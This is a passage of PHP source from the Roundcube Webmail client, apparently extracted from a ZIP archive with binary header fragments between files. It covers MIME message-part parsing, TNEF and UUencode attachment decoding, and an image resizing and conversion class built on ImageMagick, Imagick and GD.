                    if (isset($decoded->body) && count($structure->parts) == 1) {
                        $structure->parts[0]->body = $decoded->body;
                    }
                    // Multipart message
                    else {
                        foreach ($decoded->parts as $idx => $p) {
                            if (array_key_exists($idx, $structure->parts)) {
                                $structure->parts[$idx]->body = $p->body;
                            }
                        }
                    }
                }
            }
        }
        else {
            $mimetype = $structure->mimetype;
        }

        // show message headers
        if (
            $recursive
            && is_array($structure->headers)
            && (
                isset($structure->headers['subject'])
                || !empty($structure->headers['from'])
                || !empty($structure->headers['to'])
            )
        ) {
            $c = new rcube_message_part();
            $c->type    = 'headers';
            $c->headers = $structure->headers;
            $this->add_part($c);
        }

        // Allow plugins to handle message parts
        $plugin = $this->app->plugins->exec_hook('message_part_structure', [
                'object'    => $this,
                'structure' => $structure,
                'mimetype'  => $mimetype,
                'recursive' => $recursive
        ]);

        if ($plugin['abort']) {
            return;
        }

        $structure = $plugin['structure'];
        $mimetype  = $plugin['mimetype'];
        $recursive = $plugin['recursive'];

        list($message_ctype_primary, $message_ctype_secondary) = explode('/', $mimetype);

        // print body if message doesn't have multiple parts
        if ($message_ctype_primary == 'text' && !$recursive) {
            // parts with unsupported type add to attachments list
            if (!in_array($message_ctype_secondary, ['plain', 'html', 'enriched'])) {
                $this->add_part($structure, 'attachment');
                return;
            }

            $structure->type = 'content';
            $this->add_part($structure);

            // Parse simple (plain text) message body
            if ($message_ctype_secondary == 'plain') {
                foreach ((array)$this->uu_decode($structure) as $uupart) {
                    $this->mime_parts[$uupart->mime_id] = $uupart;
                    $this->add_part($uupart, 'attachment');
                }
            }
        }
        // the same for pgp signed messages
        else if ($mimetype == 'application/pgp' && !$recursive) {
            $structure->type = 'content';
            $this->add_part($structure);
        }
        // message contains (more than one!) alternative parts
        else if ($mimetype == 'multipart/alternative'
            && is_array($structure->parts) && count($structure->parts) > 1
        ) {
            // get html/plaintext parts, other add to attachments list
            foreach ($structure->parts as $p => $sub_part) {
                $sub_mimetype = $sub_part->mimetype;
                $is_multipart = preg_match('/^multipart\/(related|relative|mixed|alternative)/', $sub_mimetype);

                // skip empty text parts
                if (!$sub_part->size && !$is_multipart) {
                    continue;
                }

                // We've encountered (malformed) messages with more than
                // one text/plain or text/html part here. There's no way to choose
                // which one is better, so we'll display first of them and add
                // others as attachments (#1489358)

                // check if sub part is
                if ($is_multipart) {
                    $related_part = $p;
                }
                else if ($sub_mimetype == 'text/plain' && !isset($plain_part)) {
                    $plain_part = $p;
                }
                else if ($sub_mimetype == 'text/html' && !isset($html_part)) {
                    $html_part = $p;
                    $this->got_html_part = true;
                }
                else if ($sub_mimetype == 'text/enriched' && !isset($enriched_part)) {
                    $enriched_part = $p;
                }
                else {
                    // add unsupported/unrecognized parts to attachments list
                    $this->add_part($sub_part, 'attachment');
                }
            }

            // parse related part (alternative part could be in here)
            if (isset($related_part) && !$this->parse_alternative) {
                $this->parse_alternative = true;
                $this->parse_structure($structure->parts[$related_part], true);
                $this->parse_alternative = false;

                // if plain part was found, we should unset it if html is preferred
                if (!empty($this->opt['prefer_html']) && count($this->parts)) {
                    $plain_part = null;
                }
            }

            // choose html/plain part to print
            $print_part = null;
            if (isset($html_part) && !empty($this->opt['prefer_html'])) {
                $print_part = $structure->parts[$html_part];
            }
            else if (isset($enriched_part)) {
                $print_part = $structure->parts[$enriched_part];
            }
            else if (isset($plain_part)) {
                $print_part = $structure->parts[$plain_part];
            }

            // add the right message body
            if (is_object($print_part)) {
                $print_part->type = 'content';

                // Allow plugins to handle also this part
                $plugin = $this->app->plugins->exec_hook('message_part_structure', [
                        'object'    => $this,
                        'structure' => $print_part,
                        'mimetype'  => $print_part->mimetype,
                        'recursive' => true
                ]);

                if (!$plugin['abort']) {
                    $this->add_part($print_part);
                }
            }
            // show plaintext warning
            else if (isset($html_part) && empty($this->parts)) {
                $c = new rcube_message_part();
                $c->type            = 'content';
                $c->ctype_primary   = 'text';
                $c->ctype_secondary = 'plain';
                $c->mimetype        = 'text/plain';
                $c->realtype        = 'text/html';

                $this->add_part($c);
            }
        }
        // this is an encrypted message -> create a plaintext body with the according message
        else if ($mimetype == 'multipart/encrypted') {
            $p = new rcube_message_part();
            $p->type            = 'content';
            $p->ctype_primary   = 'text';
            $p->ctype_secondary = 'plain';
            $p->mimetype        = 'text/plain';
            $p->realtype        = 'multipart/encrypted';
            $p->mime_id         = $structure->mime_id;

            $this->add_part($p);

            // add encrypted payload part as attachment
            if (!empty($structure->parts)) {
                for ($i=0; $i < count($structure->parts); $i++) {
                    $subpart = $structure->parts[$i];
                    if ($subpart->mimetype == 'application/octet-stream' || !empty($subpart->filename)) {
                        $this->add_part($subpart, 'attachment');
                    }
                }
            }
        }
        // this is an S/MIME encrypted message -> create a plaintext body with the according message
        else if ($mimetype == 'application/pkcs7-mime') {
            $p = new rcube_message_part();
            $p->type            = 'content';
            $p->ctype_primary   = 'text';
            $p->ctype_secondary = 'plain';
            $p->mimetype        = 'text/plain';
            $p->realtype        = 'application/pkcs7-mime';
            $p->mime_id         = $structure->mime_id;

            $this->add_part($p);

            if (!empty($structure->filename)) {
                $this->add_part($structure, 'attachment');
            }
        }
        // message contains multiple parts
        else if (is_array($structure->parts) && !empty($structure->parts)) {
            // iterate over parts
            for ($i=0; $i < count($structure->parts); $i++) {
                $mail_part      = &$structure->parts[$i];
                $primary_type   = $mail_part->ctype_primary;
                $secondary_type = $mail_part->ctype_secondary;
                $part_mimetype  = $mail_part->mimetype;

                // multipart/alternative or message/rfc822
                if ($primary_type == 'multipart' || $part_mimetype == 'message/rfc822') {
                    // list message/rfc822 as attachment as well
                    if ($part_mimetype == 'message/rfc822') {
                        $this->add_part($mail_part, 'attachment');
                    }

                    $this->parse_structure($mail_part, true);
                }
                // part text/[plain|html] or delivery status
                else if ((($part_mimetype == 'text/plain' || $part_mimetype == 'text/html') && $mail_part->disposition != 'attachment')
                    || in_array($part_mimetype, ['message/delivery-status', 'text/rfc822-headers', 'message/disposition-notification'])
                ) {
                    // Allow plugins to handle also this part
                    $plugin = $this->app->plugins->exec_hook('message_part_structure', [
                            'object'    => $this,
                            'structure' => $mail_part,
                            'mimetype'  => $part_mimetype,
                            'recursive' => true
                    ]);

                    if ($plugin['abort']) {
                        continue;
                    }

                    if ($part_mimetype == 'text/html' && $mail_part->size) {
                        $this->got_html_part = true;
                    }

                    $mail_part = $plugin['structure'];
                    list($primary_type, $secondary_type) = explode('/', $plugin['mimetype']);

                    // add text part if it matches the prefs
                    if (!$this->parse_alternative
                        || ($secondary_type == 'html' && $this->opt['prefer_html'])
                        || ($secondary_type == 'plain' && !$this->opt['prefer_html'])
                    ) {
                        $mail_part->type = 'content';
                        $this->add_part($mail_part);
                    }

                    // list as attachment as well
                    if (!empty($mail_part->filename)) {
                        $this->add_part($mail_part, 'attachment');
                    }
                }
                // ignore "virtual" protocol parts
                else if ($primary_type == 'protocol') {
                    continue;
                }
                // part is Microsoft Outlook TNEF (winmail.dat)
                else if ($part_mimetype == 'application/ms-tnef' && $this->tnef_decode) {
                    $tnef_parts = (array) $this->tnef_decode($mail_part);
                    $tnef_body  = '';

                    foreach ($tnef_parts as $tpart) {
                        $this->mime_parts[$tpart->mime_id] = $tpart;

                        if (strpos($tpart->mime_id, '.html')) {
                            $tnef_body = $tpart->body;
                            if ($this->opt['prefer_html']) {
                                $tpart->type = 'content';

                                // Reset type on the plain text part that usually is added to winmail.dat messages
                                // (on the same level in the structure as the attachment itself)
                                $level = count(explode('.', $mail_part->mime_id));
                                foreach ($this->parts as $p) {
                                    if ($p->type == 'content' && $p->mimetype == 'text/plain'
                                        && count(explode('.', $p->mime_id)) == $level
                                    ) {
                                        $p->type = null;
                                    }
                                }
                            }
                            $this->add_part($tpart);
                        }
                        else {
                            $inline = !empty($tpart->content_id) && strpos($tnef_body, "cid:{$tpart->content_id}") !== false;
                            $this->add_part($tpart, $inline ? 'inline' : 'attachment');
                        }
                    }

                    // add winmail.dat to the list if it's content is unknown
                    if (empty($tnef_parts) && !empty($mail_part->filename)) {
                        $this->mime_parts[$mail_part->mime_id] = $mail_part;
                        $this->add_part($mail_part, 'attachment');
                    }
                }
                // part is a file/attachment
                else if (
                    preg_match('/^(inline|attach)/', $mail_part->disposition)
                    || !empty($mail_part->headers['content-id'])
                    || ($mail_part->filename &&
                        (empty($mail_part->disposition) || preg_match('/^[a-z0-9!#$&.+^_-]+$/i', $mail_part->disposition)))
                ) {
                    // skip apple resource forks
                    if ($message_ctype_secondary == 'appledouble' && $secondary_type == 'applefile') {
                        continue;
                    }

                    if (!empty($mail_part->headers['content-id'])) {
                        $mail_part->content_id = preg_replace(['/^</', '/>$/'], '', $mail_part->headers['content-id']);
                    }

                    if (!empty($mail_part->headers['content-location'])) {
                        $mail_part->content_location = '';
                        if (!empty($mail_part->headers['content-base'])) {
                            $mail_part->content_location = $mail_part->headers['content-base'];
                        }
                        $mail_part->content_location .= $mail_part->headers['content-location'];
                    }

                    // application/smil message's are known to use inline images that aren't really inline (#8870)
                    // TODO: This code probably does not belong here. I.e. we should not default to
                    // disposition=inline in rcube_imap::structure_part().
                    if ($primary_type === 'image'
                        && !empty($structure->ctype_parameters['type'])
                        && $structure->ctype_parameters['type'] === 'application/smil'
                    ) {
                        $mail_part->disposition = 'attachment';
                    }

                    // part belongs to a related message and is linked
                    // Note: mixed is not supposed to contain inline images, but we've found such examples (#5905)
                    if (
                        preg_match('/^multipart\/(related|relative|mixed)/', $mimetype)
                        && (!empty($mail_part->content_id) || !empty($mail_part->content_location))
                    ) {
                        $this->add_part($mail_part, 'inline');
                    }

                    // Any non-inline attachment
                    if (!preg_match('/^inline/i', $mail_part->disposition) || empty($mail_part->headers['content-id'])) {
                        // Content-Type name regexp according to RFC4288.4.2
                        if (!preg_match('/^[a-z0-9!#$&.+^_-]+\/[a-z0-9!#$&.+^_-]+$/i', $part_mimetype)) {
                            // replace malformed content type with application/octet-stream (#1487767)
                            $mail_part->ctype_primary   = 'application';
                            $mail_part->ctype_secondary = 'octet-stream';
                            $mail_part->mimetype        = 'application/octet-stream';
                        }

                        $this->add_part($mail_part, 'attachment');
                    }
                }
                // calendar part not marked as attachment (#1490325)
                else if ($part_mimetype == 'text/calendar') {
                    if (!$mail_part->filename) {
                        $mail_part->filename = 'calendar.ics';
                    }

                    $this->add_part($mail_part, 'attachment');
                }
                // Last resort, non-inline and non-text part of multipart/mixed message (#7117)
                else if ($mimetype == 'multipart/mixed'
                    && $mail_part->disposition != 'inline'
                    && $primary_type && $primary_type != 'text' && $primary_type != 'multipart'
                ) {
                    $this->add_part($mail_part, 'attachment');
                }
            }

            // if this is a related part try to resolve references
            // Note: mixed is not supposed to contain inline images, but we've found such examples (#5905)
            if (preg_match('/^multipart\/(related|relative|mixed)/', $mimetype) && count($this->inline_parts)) {
                $a_replaces = [];
                $img_regexp = '/^image\/(gif|jpe?g|png|tiff|bmp|svg)/';

                foreach ($this->inline_parts as $inline_object) {
                    $part_url = $this->get_part_url($inline_object->mime_id, $inline_object->ctype_primary);
                    if (isset($inline_object->content_id)) {
                        $a_replaces['cid:'.$inline_object->content_id] = $part_url;
                    }
                    if (!empty($inline_object->content_location)) {
                        $a_replaces[$inline_object->content_location] = $part_url;
                    }

                    if (!empty($inline_object->filename)) {
                        // MS Outlook sends sometimes non-related attachments as related
                        // In this case multipart/related message has only one text part
                        // We'll add all such attachments to the attachments list
                        if ($this->got_html_part === false) {
                            $this->add_part($inline_object, 'attachment');
                        }
                        // MS Outlook sometimes also adds non-image attachments as related
                        // We'll add all such attachments to the attachments list
                        // Warning: some browsers support pdf in <img/>
                        else if (!preg_match($img_regexp, $inline_object->mimetype)) {
                            $this->add_part($inline_object, 'attachment');
                        }
                        // @TODO: we should fetch HTML body and find attachment's content-id
                        // to handle also image attachments without reference in the body
                        // @TODO: should we list all image attachments in text mode?
                    }
                }

                // add replace array to each content part
                // (will be applied later when part body is available)
                foreach ($this->parts as $i => $part) {
                    if ($part->type == 'content') {
                        $this->parts[$i]->replaces = $a_replaces;
                    }
                }
            }
        }
        // message is a single part non-text
        else if ($structure->filename || preg_match('/^application\//i', $mimetype)) {
            $this->add_part($structure, 'attachment');
        }
    }

    /**
     * Fill a flat array with references to all parts, indexed by part numbers
     *
     * @param rcube_message_part $part Message body structure
     */
    private function get_mime_numbers(&$part)
    {
        if (strlen($part->mime_id)) {
            $this->mime_parts[$part->mime_id] = &$part;
        }

        if (is_array($part->parts)) {
            for ($i=0; $i<count($part->parts); $i++) {
                $this->get_mime_numbers($part->parts[$i]);
            }
        }
    }

    /**
     * Add a part to object parts array(s) (with context check)
     *
     * @param rcube_message_part $part Message part
     * @param string             $type Part type (inline/attachment)
     */
    private function add_part($part, $type = null)
    {
        if ($this->check_context($part)) {
            // It may happen that we add the same part to the array many times
            // use part ID index to prevent from duplicates
            switch ($type) {
                case 'inline': $this->inline_parts[(string) $part->mime_id] = $part; break;
                case 'attachment': $this->attachments[(string) $part->mime_id] = $part; break;
                default: $this->parts[] = $part; break;
            }
        }
    }

    /**
     * Check if specified part belongs to the current context
     *
     * @param rcube_message_part $part Message part
     *
     * @return bool True if the part belongs to the current context, False otherwise
     */
    private function check_context($part)
    {
        return $this->context === null || strpos($part->mime_id, $this->context . '.') === 0;
    }

    /**
     * Decode a Microsoft Outlook TNEF part (winmail.dat)
     *
     * @param rcube_message_part $part Message part to decode
     *
     * @return rcube_message_part[] List of message parts extracted from TNEF
     */
    function tnef_decode(&$part)
    {
        // @TODO: attachment may be huge, handle body via file
        $body     = $this->get_part_body($part->mime_id);
        $tnef     = new rcube_tnef_decoder;
        $tnef_arr = $tnef->decompress($body, true);
        $parts    = [];

        unset($body);

        // HTML body
        if (!empty($tnef_arr['message'])) {
            $tpart = new rcube_message_part;

            $tpart->encoding        = 'stream';
            $tpart->ctype_primary   = 'text';
            $tpart->ctype_secondary = 'html';
            $tpart->mimetype        = 'text/html';
            $tpart->mime_id         = 'winmail.' . $part->mime_id . '.html';
            $tpart->size            = strlen($tnef_arr['message']);
            $tpart->body            = $tnef_arr['message'];
            $tpart->charset         = RCUBE_CHARSET;

            $parts[] = $tpart;
        }

        // Attachments
        foreach ($tnef_arr['attachments'] as $pid => $winatt) {
            $tpart = new rcube_message_part;

            $tpart->filename        = $this->fix_attachment_name(trim($winatt['name']), $part);
            $tpart->encoding        = 'stream';
            $tpart->ctype_primary   = trim(strtolower($winatt['type']));
            $tpart->ctype_secondary = trim(strtolower($winatt['subtype']));
            $tpart->mimetype        = $tpart->ctype_primary . '/' . $tpart->ctype_secondary;
            $tpart->mime_id         = 'winmail.' . $part->mime_id . '.' . $pid;
            $tpart->size            = $winatt['size'] ?? 0;
            $tpart->body            = $winatt['stream'];

            if (!empty($winatt['content-id'])) {
                $tpart->content_id = $winatt['content-id'];
            }

            $parts[] = $tpart;
            unset($tnef_arr[$pid]);
        }

        return $parts;
    }

    /**
     * Parse message body for UUencoded attachments bodies
     *
     * @param rcube_message_part $part Message part to decode
     *
     * @return rcube_message_part[] List of message parts extracted from the file
     */
    function uu_decode(&$part)
    {
        // @TODO: messages may be huge, handle body via file
        $part->body = $this->get_part_body($part->mime_id);
        $parts      = [];
        $pid        = 0;

        // FIXME: line length is max.65?
        $uu_regexp_begin = '/begin [0-7]{3,4} ([^\r\n]+)\r?\n/s';
        $uu_regexp_end   = '/`\r?\nend((\r?\n)|($))/s';

        while (preg_match($uu_regexp_begin, $part->body, $matches, PREG_OFFSET_CAPTURE)) {
            $startpos = $matches[0][1];

            if (!preg_match($uu_regexp_end, $part->body, $m, PREG_OFFSET_CAPTURE, $startpos)) {
                break;
            }

            $endpos    = $m[0][1];
            $begin_len = strlen($matches[0][0]);
            $end_len   = strlen($m[0][0]);

            // extract attachment body
            $filebody = substr($part->body, $startpos + $begin_len, $endpos - $startpos - $begin_len - 1);
            $filebody = str_replace("\r\n", "\n", $filebody);

            // remove attachment body from the message body
            $part->body = substr_replace($part->body, '', $startpos, $endpos + $end_len - $startpos);
            // mark body as modified so it will not be cached by rcube_imap_cache
            $part->body_modified = true;

            // add attachments to the structure
            $uupart = new rcube_message_part;
            $uupart->filename = trim($matches[1][0]);
            $uupart->encoding = 'stream';
            $uupart->body     = convert_uudecode($filebody);
            $uupart->size     = strlen($uupart->body);
            $uupart->mime_id  = 'uu.' . $part->mime_id . '.' . $pid;

            $ctype = rcube_mime::file_content_type($uupart->body, $uupart->filename, 'application/octet-stream', true);
            $uupart->mimetype = $ctype;
            list($uupart->ctype_primary, $uupart->ctype_secondary) = explode('/', $ctype);

            $parts[] = $uupart;
            $pid++;
        }

        return $parts;
    }

    /**
     * Fix attachment name encoding if needed and possible
     *
     * @param string             $name Attachment name
     * @param rcube_message_part $part Message part
     *
     * @return string Fixed attachment name
     */
    protected function fix_attachment_name($name, $part)
    {
        if ($name == rcube_charset::clean($name)) {
            return $name;
        }

        // find charset from part or its parent(s)
        if ($part->charset) {
            $charsets[] = $part->charset;
        }
        else {
            // check first part (common case)
            $n = strpos($part->mime_id, '.') ? preg_replace('/\.[0-9]+$/', '', $part->mime_id) . '.1' : 1;
            if (($_part = $this->mime_parts[$n]) && $_part->charset) {
                $charsets[] = $_part->charset;
            }

            // check parents' charset
            $items = explode('.', $part->mime_id);
            for ($i = count($items)-1; $i > 0; $i--) {
                array_pop($items);
                $parent = $this->mime_parts[implode('.', $items)];

                if ($parent && $parent->charset) {
                    $charsets[] = $parent->charset;
                }
            }
        }

        if ($this->headers->charset) {
            $charsets[] = $this->headers->charset;
        }

        if ($charset = rcube_charset::check($name, $charsets)) {
            $name = rcube_charset::convert($name, $charset);
            $part->charset = $charset;
        }

        return $name;
    }

    /**
     * Deprecated methods (to be removed)
     */

    public static function unfold_flowed($text)
    {
        return rcube_mime::unfold_flowed($text);
    }

    public static function format_flowed($text, $length = 72)
    {
        return rcube_mime::format_flowed($text, $length);
    }
}
PK
h�\��&�FGFG%program/lib/Roundcube/rcube_image.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Image resizer and converter                                         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Image resizer and converter
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_image
{
    const TYPE_GIF = 1;
    const TYPE_JPG = 2;
    const TYPE_PNG = 3;
    const TYPE_TIF = 4;

    /** @var array Image file type to extension map */
    public static $extensions = [
        self::TYPE_GIF => 'gif',
        self::TYPE_JPG => 'jpg',
        self::TYPE_PNG => 'png',
        self::TYPE_TIF => 'tif',
    ];

    /** @var string Image file location */
    private $image_file;


    /**
     * Class constructor
     *
     * @param string $filename Image file name/path
     */
    function __construct($filename)
    {
        $this->image_file = $filename;
    }

    /**
     * Get image properties.
     *
     * @return array|null Hash array with image props like type, width, height
     */
    public function props()
    {
        $gd_type  = null;
        $channels = null;
        $width    = null;
        $height   = null;

        // use GD extension
        if (function_exists('getimagesize') && ($imsize = @getimagesize($this->image_file))) {
            $width   = $imsize[0];
            $height  = $imsize[1];
            $gd_type = $imsize[2];
            $type    = image_type_to_extension($gd_type, false);

            if (isset($imsize['channels'])) {
                $channels = $imsize['channels'];
            }
        }

        // use ImageMagick
        if (empty($type) && ($data = $this->identify())) {
            list($type, $width, $height) = $data;
            $channels = null;
        }

        if (!empty($type)) {
            return [
                'type'     => $type,
                'gd_type'  => $gd_type,
                'width'    => $width,
                'height'   => $height,
                'channels' => $channels,
            ];
        }
    }

    /**
     * Resize image to a given size. Use only to shrink an image.
     * If an image is smaller than specified size it will be not resized.
     *
     * @param int    $size           Max width/height size
     * @param string $filename       Output filename
     * @param bool   $browser_compat Convert to image type displayable by any browser
     *
     * @return string|false Output type on success, False on failure
     */
    public function resize($size, $filename = null, $browser_compat = false)
    {
        $result  = false;
        $rcube   = rcube::get_instance();
        $convert = self::getCommand('im_convert_path');
        $props   = $this->props();

        if (empty($props)) {
            return false;
        }

        if (!$filename) {
            $filename = $this->image_file;
        }

        // use Imagemagick
        if ($convert || class_exists('Imagick', false)) {
            $p['out'] = $filename;
            $p['in']  = $this->image_file;
            $type     = $props['type'];

            if (!$type && ($data = $this->identify())) {
                $type = $data[0];
            }

            $type = strtr($type, ["jpeg" => "jpg", "tiff" => "tif", "ps" => "eps", "ept" => "eps"]);
            $p['intype'] = $type;

            // convert to an image format every browser can display
            if ($browser_compat && !in_array($type, ['jpg', 'gif', 'png'])) {
                $type = 'jpg';
            }

            // If only one dimension is greater than the limit convert doesn't
            // work as expected, we need to calculate new dimensions
            $scale = $size / max($props['width'], $props['height']);

            // if file is smaller than the limit, we do nothing
            // but copy original file to destination file
            if ($scale >= 1 && $p['intype'] == $type) {
                $result = ($this->image_file == $filename || copy($this->image_file, $filename)) ? '' : false;
            }
            else {
                $valid_types = "bmp,eps,gif,jp2,jpg,png,svg,tif";

                if (in_array($type, explode(',', $valid_types))) { // Valid type?
                    if ($scale >= 1) {
                        $width  = $props['width'];
                        $height = $props['height'];
                    }
                    else {
                        $width  = intval($props['width']  * $scale);
                        $height = intval($props['height'] * $scale);
                    }

                    // use ImageMagick in command line
                    if ($convert) {
                        $p += [
                            'type'    => $type,
                            'quality' => 75,
                            'size'    => $width . 'x' . $height,
                        ];

                        $result = rcube::exec($convert
                            . ' 2>&1 -flatten -auto-orient -colorspace sRGB -strip'
                            . ' -quality {quality} -resize {size} {intype}:{in} {type}:{out}', $p);
                    }
                    // use PHP's Imagick class
                    else {
                        try {
                            $image = new Imagick($this->image_file);

                            try {
                                // it throws exception on formats not supporting these features
                                $image->setImageBackgroundColor('white');
                                $image->setImageAlphaChannel(11);
                                $image->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
                            }
                            catch (Exception $e) {
                                // ignore errors
                            }

                            $image->setImageColorspace(Imagick::COLORSPACE_SRGB);
                            $image->setImageCompressionQuality(75);
                            $image->setImageFormat($type);
                            $image->stripImage();
                            $image->scaleImage($width, $height);

                            if ($image->writeImage($filename)) {
                                $result = '';
                            }
                        }
                        catch (Exception $e) {
                            rcube::raise_error($e, true, false);
                        }
                    }
                }
            }

            if ($result === '') {
                @chmod($filename, 0600);
                return $type;
            }
        }

        // do we have enough memory? (#1489937)
        if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' && !$this->mem_check($props)) {
            return false;
        }

        // use GD extension
        if ($props['gd_type'] && $props['width'] > 0 && $props['height'] > 0) {
            if ($props['gd_type'] == IMAGETYPE_JPEG && function_exists('imagecreatefromjpeg')) {
                $image = @imagecreatefromjpeg($this->image_file);
                $type  = 'jpg';
            }
            else if ($props['gd_type'] == IMAGETYPE_GIF && function_exists('imagecreatefromgif')) {
                $image = @imagecreatefromgif($this->image_file);
                $type  = 'gif';
            }
            else if ($props['gd_type'] == IMAGETYPE_PNG && function_exists('imagecreatefrompng')) {
                $image = @imagecreatefrompng($this->image_file);
                $type  = 'png';
            }
            else {
                // @TODO: print error to the log?
                return false;
            }

            if ($image === false) {
                return false;
            }

            $scale = $size / max($props['width'], $props['height']);

            // Imagemagick resize is implemented in shrinking mode (see -resize argument above)
            // we do the same here, if an image is smaller than specified size
            // we do nothing but copy original file to destination file
            if ($scale >= 1) {
                $result = $this->image_file == $filename || copy($this->image_file, $filename);
            }
            else {
                $width     = intval($props['width']  * $scale);
                $height    = intval($props['height'] * $scale);
                $new_image = imagecreatetruecolor($width, $height);

                if ($new_image === false) {
                    return false;
                }

                // Fix transparency of gif/png image
                if ($props['gd_type'] != IMAGETYPE_JPEG) {
                    imagealphablending($new_image, false);
                    imagesavealpha($new_image, true);
                    $transparent = imagecolorallocatealpha($new_image, 255, 255, 255, 127);
                    imagefilledrectangle($new_image, 0, 0, $width, $height, $transparent);
                }

                imagecopyresampled($new_image, $image, 0, 0, 0, 0, $width, $height, $props['width'], $props['height']);
                $image = $new_image;

                // fix orientation of image if EXIF data exists and specifies orientation (GD strips the EXIF data)
                if ($this->image_file && $type == 'jpg' && function_exists('exif_read_data')) {
                    $exif = @exif_read_data($this->image_file);
                    if ($exif && !empty($exif['Orientation'])) {
                        switch ($exif['Orientation']) {
                            case 3:
                                $image = imagerotate($image, 180, 0);
                                break;
                            case 6:
                                $image = imagerotate($image, -90, 0);
                                break;
                            case 8:
                                $image = imagerotate($image, 90, 0);
                                break;
                        }
                    }
                }

                if ($props['gd_type'] == IMAGETYPE_JPEG) {
                    $result = imagejpeg($image, $filename, 75);
                }
                elseif($props['gd_type'] == IMAGETYPE_GIF) {
                    $result = imagegif($image, $filename);
                }
                elseif($props['gd_type'] == IMAGETYPE_PNG) {
                    $result = imagepng($image, $filename, 6, PNG_ALL_FILTERS);
                }
            }

            if ($result) {
                @chmod($filename, 0600);
                return $type;
            }
        }

        // @TODO: print error to the log?
        return false;
    }

    /**
     * Convert image to a given type
     *
     * @param int    $type     Destination file type (see class constants)
     * @param string $filename Output filename (if empty, original file will be used
     *                         and filename extension will be modified)
     *
     * @return bool True on success, False on failure
     */
    public function convert($type, $filename = null)
    {
        $rcube   = rcube::get_instance();
        $convert = self::getCommand('im_convert_path');

        if (!$filename) {
            $filename = $this->image_file;

            // modify extension
            if ($extension = self::$extensions[$type]) {
                $filename = preg_replace('/\.[^.]+$/', '', $filename) . '.' . $extension;
            }
        }

        // use ImageMagick in command line
        if ($convert) {
            $p['in']   = $this->image_file;
            $p['out']  = $filename;
            $p['type'] = self::$extensions[$type];

            $result = rcube::exec($convert . ' 2>&1 -colorspace sRGB -strip -flatten -quality 75 {in} {type}:{out}', $p);

            if ($result === '') {
                chmod($filename, 0600);
                return true;
            }
        }

        // use PHP's Imagick class
        if (class_exists('Imagick', false)) {
            try {
                $image = new Imagick($this->image_file);

                $image->setImageColorspace(Imagick::COLORSPACE_SRGB);
                $image->setImageCompressionQuality(75);
                $image->setImageFormat(self::$extensions[$type]);
                $image->stripImage();

                if ($image->writeImage($filename)) {
                    @chmod($filename, 0600);
                    return true;
                }
            }
            catch (Exception $e) {
                rcube::raise_error($e, true, false);
            }
        }

        // use GD extension (TIFF isn't supported)
        $props = $this->props();

        // do we have enough memory? (#1489937)
        if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' && !$this->mem_check($props)) {
            return false;
        }

        if ($props['gd_type']) {
            if ($props['gd_type'] == IMAGETYPE_JPEG && function_exists('imagecreatefromjpeg')) {
                $image = imagecreatefromjpeg($this->image_file);
            }
            else if ($props['gd_type'] == IMAGETYPE_GIF && function_exists('imagecreatefromgif')) {
                $image = imagecreatefromgif($this->image_file);
            }
            else if ($props['gd_type'] == IMAGETYPE_PNG && function_exists('imagecreatefrompng')) {
                $image = imagecreatefrompng($this->image_file);
            }
            else {
                // @TODO: print error to the log?
                return false;
            }

            if ($type == self::TYPE_JPG) {
                $result = imagejpeg($image, $filename, 75);
            }
            else if ($type == self::TYPE_GIF) {
                $result = imagegif($image, $filename);
            }
            else if ($type == self::TYPE_PNG) {
                $result = imagepng($image, $filename, 6, PNG_ALL_FILTERS);
            }

            if (!empty($result)) {
                @chmod($filename, 0600);
                return true;
            }
        }

        // @TODO: print error to the log?
        return false;
    }

    /**
     * Checks if image format conversion is supported (for specified mimetype).
     *
     * @param string $mimetype Mimetype name
     *
     * @return bool True if specified format can be converted to another format
     */
    public static function is_convertable($mimetype = null)
    {
        $rcube = rcube::get_instance();

        // @TODO: check if specified mimetype is really supported
        return class_exists('Imagick', false) || self::getCommand('im_convert_path');
    }

    /**
     * ImageMagick based image properties read.
     */
    private function identify()
    {
        $rcube = rcube::get_instance();

        // use ImageMagick in command line
        if ($cmd = self::getCommand('im_identify_path')) {
            $args = ['in' => $this->image_file, 'format' => "%m %[fx:w] %[fx:h]"];
            $id   = rcube::exec($cmd . ' 2>/dev/null -format {format} {in}', $args);

            if ($id) {
                return explode(' ', strtolower($id));
            }
        }

        // use PHP's Imagick class
        if (class_exists('Imagick', false)) {
            try {
                $image = new Imagick($this->image_file);

                return [
                    strtolower($image->getImageFormat()),
                    $image->getImageWidth(),
                    $image->getImageHeight(),
                ];
            }
            catch (Exception $e) {
                // ignore
            }
        }
    }

    /**
     * Check if we have enough memory to load specified image
     *
     * @param array $props Hash array with image props like channels, width, height
     *
     * @return bool True if there's enough memory to process the image, False otherwise
     */
    private function mem_check($props)
    {
        // image size is unknown, we can't calculate required memory
        if (!$props['width']) {
            return true;
        }

        // channels: CMYK - 4, RGB - 3
        $multip = ($props['channels'] ?: 3) + 1;

        // calculate image size in memory (in bytes)
        $size = $props['width'] * $props['height'] * $multip;

        return rcube_utils::mem_check($size);
    }

    /**
     * Get the configured command and make sure it is safe to use.
     * We cannot trust configuration, and escapeshellcmd() is useless.
     *
     * @param string $opt_name Configuration option name
     *
     * @return bool|string The command or False if not set or invalid
     */
    private static function getCommand($opt_name)
    {
        static $error = [];

        $cmd = (string) rcube::get_instance()->config->get($opt_name);

        if (empty($cmd)) {
            return false;
        }

        $cmd = trim($cmd);

        if (preg_match('/^(convert|identify)(\.exe)?$/i', $cmd)) {
            return $cmd;
        }

        // Executable must exist, also disallow network shares on Windows
        if ($cmd[0] !== '\\' && strpos($cmd, '//') !== 0 && file_exists($cmd)) {
            return $cmd;
        }

        if (empty($error[$opt_name])) {
            rcube::raise_error("Invalid $opt_name: $cmd", true, false);
            $error[$opt_name] = true;
        }

        return false;
    }
}
PK
h�\
